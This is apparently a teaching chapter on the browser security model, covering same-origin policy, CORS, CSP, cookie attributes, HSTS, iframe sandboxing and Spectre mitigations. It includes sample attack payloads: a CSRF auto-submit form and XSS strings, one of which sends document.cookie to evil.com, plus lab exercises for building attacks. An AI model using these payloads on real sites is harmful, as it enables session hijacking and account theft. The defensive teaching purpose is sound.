04 — Browser Security Model
Overview
The browser security model is the set of policies and mechanisms that determine what a web page can and cannot do: which origins it can communicate with, which resources it can access, how it can store data, and what protections exist against code injection. This model has been built incrementally over 30 years, layering new defenses atop old foundations in response to discovered attacks. Understanding it requires understanding both the policies themselves and the historical attacks that motivated each one.
Historical Context
The web in 1994 had no security model. Netscape 1.0 introduced JavaScript in 1995 without any access controls: a script on any page could read the URL of any other page the user had visited, modify the current document, and in some implementations access cookies of unrelated sites.
The Same-Origin Policy was introduced in Netscape 2.0 (1995) after it became clear that without isolation, a malicious site could trivially steal data from every other site in the browser. It was not a comprehensive security model — it was a single emergency guardrail.
Over the following decades, every major attack prompted a new defensive layer: - Cross-site request forgery → SameSite cookies (2016). - Cross-site scripting → Content Security Policy (2010). - Mixed content downgrade attacks → HTTPS enforcement (2015+). - Spectre side-channel → Cross-origin isolation headers (2020).
Same-Origin Policy (SOP)
The Same-Origin Policy is the foundational rule of web security. An origin is defined as
the triple: (scheme, host, port).
Origin comparisons:
https://app.example.com:443 vs https://app.example.com:443 → SAME ORIGIN
https://app.example.com:443 vs http://app.example.com:443 → DIFFERENT (scheme)
https://app.example.com:443 vs https://api.example.com:443 → DIFFERENT (host)
https://app.example.com:443 vs https://app.example.com:8080 → DIFFERENT (port)
SOP governs:
- DOM access: Script on a.com cannot read the DOM (including cookies in document.cookie)
of a frame loaded from b.com.
- AJAX (XMLHttpRequest / Fetch): By default, a script cannot read the response body of a
fetch to a different origin.
- localStorage / IndexedDB / SessionStorage: Scoped to origin. a.com cannot read
b.com's localStorage.
- Cookies: Scoped to domain + path. SOP interacts with but does not fully govern cookies
(cookies have their own domain/path model separate from origins).
SOP does not prevent:
- Embedding cross-origin resources (images, scripts, iframes via <link rel=stylesheet>).
- Form submissions to cross-origin URLs (full-page navigation).
- Reading embedded resources — you can include evil.com/image.png in an <img> tag
but cannot read the pixel data via Canvas without CORS.
CORS: Cross-Origin Resource Sharing
CORS is the mechanism by which a server signals that it allows cross-origin JavaScript to read its responses. It does not prevent requests from being made — it prevents the browser from exposing the response to the requesting JavaScript.
Simple Requests
A request is "simple" if it uses GET, HEAD, or POST with specific allowed Content-Types
(application/x-www-form-urlencoded, multipart/form-data, text/plain). For simple requests,
the browser sends the request with an Origin header and checks the response for the
Access-Control-Allow-Origin header:
Request:
GET /api/data HTTP/1.1
Origin: https://app.example.com
Response (server allows it):
Access-Control-Allow-Origin: https://app.example.com
(or * for public endpoints)
If the header is absent or doesn't match, the browser hides the response from JavaScript (the network request still completed — the server processed it).
Preflight Requests
For non-simple requests (DELETE, PUT, custom headers, application/json body), the browser sends a preflight OPTIONS request first:
OPTIONS /api/users/42 HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Content-Type, Authorization
Response:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: DELETE, GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Preflights add latency. Access-Control-Max-Age caches the preflight response to avoid
repeated OPTIONS requests.
Content Security Policy (CSP)
CSP is an HTTP response header (or meta tag) that tells the browser which sources are permitted to load resources and execute scripts for the given page.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
default-src 'self': By default, only same-origin resources allowed.script-src 'self' https://cdn.example.com: Scripts only from own origin + specific CDN.'unsafe-inline': Permits inline<script>and<style>— largely defeats XSS protection.frame-ancestors 'none': Equivalent toX-Frame-Options: DENY— prevents framing.
CSP and XSS Mitigation
XSS (Cross-Site Scripting) attacks inject malicious script into a trusted page. CSP prevents execution of injected scripts if configured to disallow inline scripts and unknown sources.
CSP nonce: A cryptographic nonce (random token) is added to both the HTTP header and each
legitimate <script> tag. Injected scripts without the nonce are blocked:
<!-- Server generates: nonce = "abc123" (random per request) -->
Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123"> // Allowed: has the nonce
console.log("legit");
</script>
<!-- Injected by XSS: -->
<script>alert('xss')</script> // Blocked: no nonce
Strict CSP: Using nonce-based or hash-based CSP without unsafe-inline and without
unsafe-eval provides the strongest XSS protection. Google's CSP evaluator tool grades
policies.
Cookie Security Attributes
Cookies are the primary session management mechanism on the web. Their security depends on correctly setting several attributes:
Set-Cookie: sessionid=abc123;
HttpOnly; (1)
Secure; (2)
SameSite=Strict; (3)
Path=/;
Domain=example.com;
Max-Age=3600
(1) HttpOnly
Marks the cookie as inaccessible to JavaScript. document.cookie will not include it.
Prevents XSS from stealing the session cookie — even if an attacker injects script, they cannot
extract the session token via JavaScript.
(2) Secure
Sends the cookie only over HTTPS connections. Prevents cookie theft on unencrypted networks
(coffee shop Wi-Fi). Without Secure, an attacker performing a network downgrade attack can
read or overwrite the cookie over HTTP.
(3) SameSite — CSRF Protection
Cross-Site Request Forgery (CSRF) attacks exploit the fact that browsers include cookies in all requests to a site, including those triggered by a third-party page:
<!-- On evil.com: silently POST to bank.com using victim's session cookie -->
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
SameSite controls whether the browser includes cookies on cross-site requests:
| SameSite=Strict | Cookie not sent on ANY cross-site request. Most secure; breaks OAuth flows. |
|---|---|
| SameSite=Lax | Cookie sent on top-level GET navigations (link clicks). Not on POST/iframes. |
| SameSite=None | Cookie sent everywhere. Requires Secure attribute. Use for third-party auth. |
As of 2024, Chrome defaults new cookies to SameSite=Lax if not specified.
HTTPS and HSTS
HTTPS (TLS-encrypted HTTP) protects against network-level eavesdropping and tampering. Modern browsers enforce HTTPS in several ways:
- Mixed content blocking: If an HTTPS page tries to load an HTTP resource (image, script, iframe), the browser blocks it. Active mixed content (scripts, iframes) has been blocked since Chrome 79; passive mixed content (images) is blocked since Chrome 81.
- HTTPS-Only mode: Optional in most browsers; upgrades all HTTP requests to HTTPS.
HSTS (HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Once a browser receives an HSTS header, it refuses to connect to that host over HTTP for the
max-age duration — even if the user types http://. This prevents SSL-stripping attacks
(where a MITM intercepts the initial HTTP request before the user is redirected to HTTPS).
The preload directive submits the domain to the HSTS Preload List: a list hardcoded into
browsers so that even the first connection is forced to HTTPS, before any HSTS header is seen.
iframe Sandbox Attribute
The sandbox attribute on iframes creates a sandboxed browsing context with all permissions
removed by default, then specific permissions granted:
<iframe sandbox="allow-scripts allow-same-origin" src="..."></iframe>
Default (no values): blocks scripts, forms, popups, pointer lock, top navigation, modals, orientation lock, presentation lock, and same-origin access.
Commonly used values:
- allow-scripts: Enable JavaScript (but not allow-same-origin — prevents script from
removing the sandbox).
- allow-same-origin: Treat as same-origin (needed for localStorage access; risky when
combined with allow-scripts — scripts can navigate to remove the sandbox).
- allow-forms: Enable form submission.
- allow-popups: Enable window.open().
- allow-top-navigation: Allow navigation of the top frame.
Security pattern — user-generated HTML:
<!-- Display untrusted HTML safely: scripts blocked, no same-origin -->
<iframe sandbox="allow-same-origin" srcdoc="...user content..."></iframe>
Browser Storage Isolation
Modern browsers partition all storage by origin and increasingly by the "top-level site" of the browsing context (storage partitioning, also called "third-party storage access blocking"):
Security Boundary Diagram:
┌──────────────────────────────────────────────────────────┐
│ Browser Tab: top-level origin = https://example.com │
│ │
│ ┌────────────────────────────────────────────────────┐ │
│ │ example.com localStorage / IndexedDB / cookies │ │
│ └────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────┐ │
│ │ iframe: ads.tracker.com │ │
│ │ (partitioned storage: key = example.com + │ │
│ │ tracker.com — separate from tracker.com on │ │
│ │ other sites) │ │
│ └─────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────┐
│ Browser Tab: top-level origin = https://other.com │
│ │
│ ┌─────────────────────────────────────────────────┐ │
│ │ iframe: ads.tracker.com │ │
│ │ (partitioned storage: key = other.com + │ │
│ │ tracker.com — DIFFERENT from above!) │ │
│ └─────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
Safari ITP (Intelligent Tracking Prevention) and Firefox Total Cookie Protection both implement third-party storage partitioning. Chrome's Privacy Sandbox is implementing CHIPS (Cookies Having Independent Partitioned State).
Spectre and Cross-Origin Isolation
The Spectre vulnerability (January 2018) demonstrated that JavaScript code can read arbitrary memory within its process using a speculative execution side channel and a high-resolution timer.
The browser's response was two-fold:
1. Reduce timer resolution (performance.now() precision reduced; SharedArrayBuffer disabled
entirely until mitigations were in place).
2. Enforce site isolation (see file 01) so that cross-origin data is in a different process.
But even with site isolation, some APIs expose shared memory between origins:
- SharedArrayBuffer: allows JS to share memory with Workers — creates a clock via spin loop.
- High-resolution timers in Workers.
To re-enable these powerful APIs safely, Chrome requires Cross-Origin Isolation:
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
- COOP (Cross-Origin-Opener-Policy: same-origin): Prevents the page from sharing a browsing context group with cross-origin popups. A Spectre attack in a popup cannot read your page's memory because they're in different processes.
- COEP (Cross-Origin-Embedder-Policy: require-corp): Requires that all subresources
(images, scripts, iframes) opt into being embedded via the
Cross-Origin-Resource-Policyheader or CORS.
When both headers are present, window.crossOriginIsolated === true and SharedArrayBuffer
is re-enabled.
XSS Attack Classes
Reflected XSS: Server reflects unescaped user input in the HTML response:
URL: https://example.com/search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
Mitigation: Output encode all user-controlled data. CSP as defense-in-depth.
Stored XSS: Malicious script is stored in the database and served to all users:
Comment submitted: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
Stored in DB. Rendered to every user who views the comment page.
Mitigation: Sanitize stored HTML (DOMPurify); output encode; CSP.
DOM-based XSS: The attack is executed entirely client-side via JavaScript:
// Vulnerable code:
document.getElementById('msg').innerHTML = location.hash.substring(1);
// Attack URL: https://example.com/page#<img src=x onerror=alert(1)>
Mitigation: Avoid innerHTML, eval, document.write. Use textContent or safe DOM APIs.
Use Trusted Types API (Chrome/Edge) to enforce safe DOM sinks.
Failure Modes
| Mechanism | Common Failure | Consequence |
|---|---|---|
| SOP | Origin confusion in wildcard CORS (Access-Control-Allow-Origin: *) on credentialed endpoints |
Session token leakage |
| CSRF | SameSite=None on session cookies without CSRF token | Account takeover via forged requests |
| CSP | unsafe-inline or unsafe-eval in policy |
XSS protection negated |
| HttpOnly | Cookie theft via XSS if HttpOnly not set | Session hijacking |
| HSTS | No preload; user visits HTTP first | SSL stripping on first connection |
| iframe sandbox | allow-scripts + allow-same-origin together |
Sandbox escape via script |
Exercises
- Set up a simple CORS misconfiguration: server reflects the
Originheader verbatim without checking it. Demonstrate how an attacker site can read credentialed API responses. - Write a CSP policy for a single-page application that uses React (loaded from CDN), makes
API calls to
api.yourapp.com, and displays no inline styles. Test it against Google's CSP Evaluator. - Implement a CSRF attack against a form-based application without SameSite cookies. Then fix
it by adding
SameSite=Lax. - Enable Cross-Origin Isolation headers on a test server and verify that
window. crossOriginIsolatedis true andSharedArrayBufferworks. - Audit a public website using DevTools → Application → Cookies. Identify cookies missing
HttpOnlyandSecure. Explain the attack enabled by each missing attribute.
References
- OWASP Top 10 Web Application Security Risks:
https://owasp.org/Top10/ - West, M. "Content Security Policy Level 3." W3C Working Draft.
- West, M. "Incrementally Better Cookies (CHIPS)." IETF Draft.
- Kocher, P. et al. "Spectre Attacks." IEEE S&P 2019.
- Mozilla MDN — Same-Origin Policy:
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy - Google Cross-Origin Isolation Guide:
https://web.dev/cross-origin-isolation-guide/ - Trusted Types spec:
https://w3c.github.io/trusted-types/dist/spec/